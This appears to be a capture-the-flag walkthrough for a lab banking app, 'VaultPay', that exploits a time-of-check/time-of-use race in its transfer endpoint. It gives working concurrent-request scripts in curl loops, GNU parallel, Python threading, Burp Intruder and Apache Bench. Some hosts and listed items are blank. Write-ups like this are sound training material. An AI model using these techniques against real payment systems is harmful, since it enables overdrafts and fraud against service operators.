This financial application thinks it can safely process concurrent transactions with basic checks. 💰 But experienced security researchers know that timing is everything when it comes to race conditions! ⚡ Master the art of concurrent exploitation and discover how milliseconds can make the difference between a failed attack and a successful bypass. 🎯
Navigate to http://
to access the VaultPay financial application. The main interface displays:
The application processes financial transfers with validation checks, but the timing of these operations creates a vulnerability window.
This is a real race condition vulnerability with server-side timing issues. The Flask application performs balance checks and updates in separate operations without proper locking:
# Vulnerable code pattern:
# 1. Check current balance
# 2. Validate transfer amount
# 3. Update balance
# Problem: Steps are not atomic!
Key observations:
First, understand the normal transfer functionality:
# Test normal transfer
curl -X POST "http:///transfer" \
-H "Content-Type: application/json" \
-d '{"amount": 10, "recipient": "admin"}'
Normal transfers return:
The vulnerability exists in the transfer processing logic:
# Race condition occurs between:
# 1. Balance check: if balance >= amount
# 2. Balance update: balance -= amount
# Multiple requests can pass step 1 before any reach step 2
This creates a timing window where:
Execute multiple simultaneous transfer requests to exploit the race condition:
# Method 1: Using curl with background processes
for i in {1..10}; do
curl -X POST "http:///transfer" \
-H "Content-Type: application/json" \
-d '{"amount": 50, "recipient": "admin"}' &
done
wait
# Method 2: Using GNU parallel (if available)
seq 1 10 | parallel -j 10 curl -X POST "http:///transfer" \
-H "Content-Type: application/json" \
-d '{"amount": 50, "recipient": "admin"}'
Use Python threading for more controlled concurrent exploitation:
import threading
import requests
import time
def transfer_request():
url = "http://<target-ip>/transfer"
data = {"amount": 50, "recipient": "admin"}
response = requests.post(url, json=data)
print(f"Response: {response.status_code}")
# Launch 10 concurrent requests
threads = []
for i in range(10):
thread = threading.Thread(target=transfer_request)
threads.append(thread)
# Start all threads simultaneously
for thread in threads:
thread.start()
# Wait for completion
for thread in threads:
thread.join()
Check the account balance after the race condition exploit:
curl "http:///balance"
Successful exploitation results in:
When the race condition successfully creates a negative balance, the flag is exposed through multiple discoverable methods:
# Method 1: Check balance endpoint
curl "http:///balance"
# Method 2: Visit main page in browser
# Navigate to http:// to see system alert
The balance endpoint reveals additional information when negative:
{
"username": "user123",
"balance": -150.0,
"status": "negative",
"system_alert": "RACE CONDITION DETECTED - SYSTEM COMPROMISED",
"security_flag": "[FLAG_UUID_HERE]",
"message": "Multiple concurrent transfers bypassed balance validation"
}
Additionally, visiting the main page in a browser will display a prominent red alert with the flag when the balance is negative.
Other methods to exploit the race condition:
# Using Burp Suite Intruder
1. Capture transfer request in Burp Proxy
2. Send to Intruder
3. Set attack type to "Pitchfork"
4. Configure multiple threads (10-20)
5. Launch simultaneous requests
# Using Apache Bench (ab)
ab -n 10 -c 10 -p transfer.json -T application/json \
http:///transfer
The race condition window is typically very small (microseconds to milliseconds). Success factors include:
This challenge demonstrates a genuine server-side race condition vulnerability:
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